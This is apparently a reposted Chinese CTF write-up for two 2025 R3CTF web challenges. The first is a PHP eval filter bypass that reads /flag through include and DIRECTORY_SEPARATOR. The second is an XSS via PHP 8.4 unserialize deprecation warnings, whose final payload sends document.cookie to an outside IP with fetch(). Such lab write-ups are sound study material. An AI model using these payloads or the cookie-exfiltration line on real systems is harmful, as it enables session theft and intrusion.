2025 R3CTF

文章目錄

      • Evalgelist
      • Silent Profit(復現)

Evalgelist

<?phpif (isset($_GET['input'])) {echo '<div class="output">';$filtered = str_replace(['$', '(', ')', '`', '"', "'", "+", ":", "/", "!", "?"], '', $_GET['input']);$cmd = $filtered . '();';echo '<strong>After Security Filtering:</strong> <span class="filtered">' . htmlspecialchars($cmd) . '</span>' . "\n\n";echo '<strong>Execution Result:</strong>' . "\n";echo '<div style="border-left: 3px solid #007bff; padding-left: 15px; margin-left: 10px;">';try {ob_start();eval($cmd);$result = ob_get_clean();if (!empty($result)) {echo '<span class="success">? Function executed successfully!</span>' . "\n";echo htmlspecialchars($result);} else {echo '<span class="success">? Function executed (no output)</span>';}} catch (Error $e) {echo '<span class="error">? Error: ' . htmlspecialchars($e->getMessage()) . '</span>';} catch (Exception $e) {echo '<span class="error">? Exception: ' . htmlspecialchars($e->getMessage()) . '</span>';}echo '</div>';echo '</div>';}?>

沒有過濾;, 可以執行多條語句

在php中,未被雙引號包裹的字符串會被定義為常量,若是找不到這個常量就會被自動轉化成字符串

include在包含文件的時候會查找include_path 環境變量中的路徑,一般就是 .:/usr/local/lib/php
. -> 當前目錄 , /usr/local/lib/php ->系統 PEAR 庫路徑

所以可以通過include 文件名;die 來讀取當前目錄的文件
比如我在當前目錄新建一個flag的文件,include flag就可以讀取這個文件的內容,雖然會有警告,但是依然會往下執行
(如果文件里面符合php的語法,也會當成php文件進行執行)

因為沒有引號包裹的原因,是無法讀取像 index.php的這種文件的,這種文件會被當成兩個字符串通過.進行拼接,也就是會去查找indexphp這個文件名

flag在/flag下,但是/被過濾了,無法直接include /flag讀取文件

不過就算/沒被過濾,好像也不能直接通過include /flag進行讀取

在這里插入圖片描述

所以就需要想辦法拼接一個/flag
php中存在一個常量DIRECTORY_SEPARATOR可以表示/, 通過.進行拼接就可以得到/flag

構造payload:include DIRECTORY_SEPARATOR.flag;die

在這里插入圖片描述

Silent Profit(復現)

bot.js

const express = require('express');
const puppeteer = require('puppeteer');const app = express();app.use(express.urlencoded({ extended: false }));const flag = process.env['FLAG'] ?? 'flag{test_flag}';
const PORT = process.env?.BOT_PORT || 31337;app.post('/report', async (req, res) => {const { url } = req.body;if (!url || !url.startsWith('http://challenge/')) {return res.status(400).send('Invalid URL');}try {console.log(`[+] Visiting: ${url}`);const browser = await puppeteer.launch({headless: 'new',args: ['--no-sandbox','--disable-setuid-sandbox',]});await browser.setCookie({ name: 'flag', value: flag, domain: 'challenge' });const page = await browser.newPage();await page.goto(url, { waitUntil: 'networkidle2', timeout: 5000 });await page.waitForNetworkIdle({timeout: 5000})await browser.close();res.send('URL visited by bot!');} catch (err) {console.error(`[!] Error visiting URL:`, err);res.status(500).send('Bot error visiting URL');}
});app.get('/', (req, res) => {res.send(`<h2>XSS Bot</h2><form method="POST" action="/report"><input type="text" name="url" value="http://challenge/?data=..." style="width: 500px;" /><button type="submit">Submit</button></form>`);
});app.listen(PORT, () => {console.log(`XSS bot running at port ${PORT}`);
});

index.php

<?php 
show_source(__FILE__);
unserialize($_GET['data']);

只有這兩行代碼去實現反序列化,想要實現xss的攻擊,肯定是需要控制信息顯示在瀏覽器上面

題目環境是php8.4 ,所以可能就是這個版本有關于unserialize函數的報錯的相關修改

PHP 8.1 新引入的 enum 枚舉序列化格式,傳入一個enum 對象的錯誤格式,會發現可以控制部分報錯信息顯示到瀏覽器上面

在這里插入圖片描述

試著傳入一個xss的payload, 但是瀏覽器好像并沒有解析,沒有彈窗

在這里插入圖片描述

因為常規的錯誤信息輸出函數(如php_error_docref)會對輸出進行HTML轉義,所以無法直接觸發XSS。

所以需要尋找一個在反序列化過程中觸發的、且不會對輸出進行HTML轉義的錯誤

PHP 8.2 開始禁止動態創建類中未定義的屬性,當嘗試設置動態屬性的時候就會觸發一個棄用的警告,并且會顯示出屬性名

此警告通過 zend_error() 輸出,不會進行 HTML 轉義

這樣我們就可以通過控制屬性名來進行xss了

添加一個test類進行測試
反序列化時添加一個動態的屬性aa,就會發現這個屬性名被回顯到里瀏覽器上面

在這里插入圖片描述

將其替換成xss的payload,發現可以彈窗

在這里插入圖片描述

那么只需要找一個php的內置類,并且是可序列化的,動態添加屬性進行報錯就行了

這樣的類有很多,可以用Exception來構造

O:9:"Exception":1:{s:25:"<script>alert(1)</script>";i:2;}

在這里插入圖片描述

最終的payload:

url=http://challenge/?data=O:9:"Exception":1:{s:74:"<script>fetch(`http://8.154.17.163:8080?flag=${document.cookie}`)</script>";i:2;}

在這里插入圖片描述

參考文章

https://baozongwi.xyz/2025/07/05/R3CTF2025/
https://qiita.com/singetu0096/items/65621ba135544e262518

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/89194.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/89194.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/89194.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

WebView JSBridge 無響應問題排查實錄 全流程定位橋接調用失效

在混合開發項目中&#xff0c;Web 頁面與 Native 的通信橋梁——JSBridge&#xff0c;承擔著極為關鍵的角色。它不僅讓網頁能調起原生功能&#xff08;分享、登錄、拍照等&#xff09;&#xff0c;也支持原生傳值、事件回調。 然而&#xff0c;當 JSBridge 調用“沒有響應”、c…

前端構建工具 Webpack 5 的優化策略與高級配置

前端構建工具 Webpack 5 的優化策略與高級配置 當你的項目啟動需要一分鐘&#xff0c;或者每次熱更新都像在“編譯整個宇宙”時&#xff0c;你可能已經意識到了一個問題&#xff1a;前端構建性能&#xff0c;正成為開發效率的瓶頸。Webpack 作為現代前端開發的基石&#xff0c;…

tun2socks原理淺析

tun2socks 的原理是將TUN 設備上的IP 數據包轉換為SOCKS 協議數據&#xff0c;然后通過SOCKS 代理服務器發送。簡單來說&#xff0c;它利用TUN 設備模擬一個虛擬網絡接口&#xff0c;將所有流經該接口的網絡流量重定向到SOCKS 代理&#xff0c;從而實現流量的代理轉發&#xff…

Go從入門到精通(22) - 一個簡單web項目-統一日志輸出

Go從入門到精通(21) - 一個簡單web項目-統一日志輸出 統一日志輸出 文章目錄Go從入門到精通(21) - 一個簡單web項目-統一日志輸出前言日志庫橫向對比zap 使用安裝依賴創建日志配置修改主程序的日志在處理函數中使用日志日志示例控制臺輸出文件輸出&#xff08;json&#xff09…

UI前端大數據處理新挑戰:如何高效處理實時數據流?

hello寶子們...我們是艾斯視覺擅長ui設計和前端數字孿生、大數據、三維建模、三維動畫10年經驗!希望我的分享能幫助到您!如需幫助可以評論關注私信我們一起探討!致敬感謝感恩!一、引言&#xff1a;從 “批處理” 到 “流處理” 的前端革命當股票 APP 因每秒接收 10 萬條行情數據…

【接口測試】08 Postman使用教程(帶案例)

目錄 一. Postman安裝 二. Postman使用 1. 創建項目 2. 創建集合 3. 設置變量 4. 創建測試用例 5. 數據驅動測試 6. 接口關聯 7. 斷言和封裝 8. 批量執行 9. 導出用例 10. 生成測試報告 一. Postman安裝 PostMan——安裝教程&#xff08;圖文詳解&#xff09;_postman安裝教程-…

從springcloud-gateway了解同步和異步,webflux webMvc、共享變量

webMVC和webFlux 這是spring framework提供的兩種不同的Web編程模型應用場景&#xff1a;用 WebMvc&#xff1a; 項目依賴 Servlet 生態、需要簡單同步代碼&#xff0c;或使用阻塞式數據庫&#xff08;如 MySQL JDBC&#xff09;。用 WebFlux&#xff1a; 需要高并發&#xff…

如何在 Pytest 中調用其他用例返回的接口參數?

回答重點在 Pytest 中&#xff0c;我們可以通過使用共享夾具&#xff08;fixtures&#xff09;來調用和復用其他用例返回的接口參數。在 Pytest 中&#xff0c;fixtures 提供了一種靈活且有組織的方式來共享測試數據或對象。具體步驟如下&#xff1a;1&#xff09;首先&#xf…

倒計時熔斷機制的出價邏輯

一、業務背景傳統競價機制中&#xff0c;“倒計時結束”是系統決定成交者的關鍵邏輯&#xff0c;但在實際中&#xff0c;最后3秒突然被搶價的情況極為常見&#xff0c;出現以下問題&#xff1a;用戶投訴平臺機制不公平&#xff1b;用戶出價但未成交&#xff0c;產生爭議訂單&am…

未來手機會自動充電嗎

未來手機實現?全自動充電&#xff08;無需人為干預&#xff09;?是技術發展的明確趨勢&#xff0c;目前已有部分技術落地&#xff0c;但要達到“隨時隨地無感補電”&#xff0c;仍需突破以下關鍵領域&#xff1a;一、已實現的技術&#xff08;當下可用的“半自動”充電&#…

MySQL高級篇(二):深入理解數據庫事務與MySQL鎖機制

引言在現代數據庫系統中&#xff0c;事務和鎖機制是確保數據一致性和完整性的兩大核心技術。無論是金融交易系統、電商平臺還是企業級應用&#xff0c;都離不開這些基礎功能的支持。本文將全面剖析數據庫事務的四大特性&#xff0c;深入探討MySQL中的各種鎖機制&#xff0c;幫助…

XML 指南

XML 指南 引言 XML(可擴展標記語言)是一種用于存儲和傳輸數據的標記語言,它具有高度的可擴展性和靈活性。在互聯網和軟件開發領域,XML被廣泛應用于數據交換、配置文件、文檔存儲等場景。本文將為您詳細介紹XML的基本概念、語法規則、應用場景以及開發技巧,幫助您全面了解…

Flink Watermark原理與實戰

一、引言Flink 作為一款強大的流處理框架&#xff0c;在其中扮演著關鍵角色。今天&#xff0c;咱們來聊聊 Flink 中一個極為重要的概念 —— Watermark&#xff08;水位線&#xff09;&#xff0c;它是處理亂序數據和準確計算的關鍵。接下來我們直入主題&#xff0c;首先來看看…

Rust Web 全棧開發(五):使用 sqlx 連接 MySQL 數據庫

Rust Web 全棧開發&#xff08;五&#xff09;&#xff1a;使用 sqlx 連接 MySQL 數據庫Rust Web 全棧開發&#xff08;五&#xff09;&#xff1a;使用 sqlx 連接 MySQL 數據庫項目創建數據庫準備連接請求功能實現Rust Web 全棧開發&#xff08;五&#xff09;&#xff1a;使用…

【zynq7020】PS的“Hello World”

目錄 基本過程 新建Vivado工程 ZYNQ IP核設置 使用SDK進行軟件開發 基于Vivado2017 Vivado工程建立 SDK調試 固化程序 注&#xff1a;Vivado 2019.1 及之前&#xff1a;默認使用 SDK Vivado 2019.2-2020.1&#xff1a;逐步過渡&#xff0c;支持 SDK 與 Vitis 并存 Vi…

希爾排序和選擇排序及計數排序的簡單介紹

希爾排序法又稱縮小增量法。希爾排序法的基本思想是&#xff1a;先選定一個整數gap&#xff0c;把待排序文件中所有數據分成幾個組&#xff0c;所有距離為gap的數據分在同一組內&#xff0c;并對每一組內的數據進行排序。然后gap減減&#xff0c;重復上述分組和排序的工作。當到…

Solid Edge多項目并行,浮動許可如何高效調度?

在制造企業的數字化設計體系中&#xff0c;Solid Edge 作為主流 CAD 工具&#xff0c;因其靈活的建模能力、同步技術和強大的裝配設計功能&#xff0c;廣泛應用于機械設備、零部件制造等行業的研發場景。隨著企業設計任務復雜化&#xff0c;多項目并行成為常態&#xff0c;Soli…

Flink cdc 使用總結

Flink 與 Flink CDC 版本兼容對照表Flink 版本支持的 Flink CDC 版本關鍵說明Flink 1.11.xFlink CDC 1.2.x早期版本&#xff0c;需注意 Flink 1.11.0 的 Bug&#xff08;如 Upsert 寫入問題&#xff09;&#xff0c;建議使用 1.11.1 及以上。Flink 1.12.xFlink CDC 2.0.x&#…

企業培訓筆記:axios 發送 ajax 請求

文章目錄axios 簡介一&#xff0c;Vue工程中安裝axios二&#xff0c;編寫app.vue三&#xff0c;編寫HomeView.vue四&#xff0c;Idea打開后臺項目五&#xff0c;創建HelloController六&#xff0c;配置web訪問端口七&#xff0c;運行項目&#xff0c;查看效果&#xff08;一&am…

Maven下載與配置對Java項目的理解

目錄 一、背景 二、JAVA項目與Maven的關系 2.1標準java項目 2.2 maven 2.2.1 下載maven 1、下載 2、配置環境 2.2.2 setting.xml 1、配置settings.xml 2、IDEA配置maven 一、背景 在java項目中&#xff0c;新手小白很有可能看不懂整體的目錄結構&#xff0c;以及每個…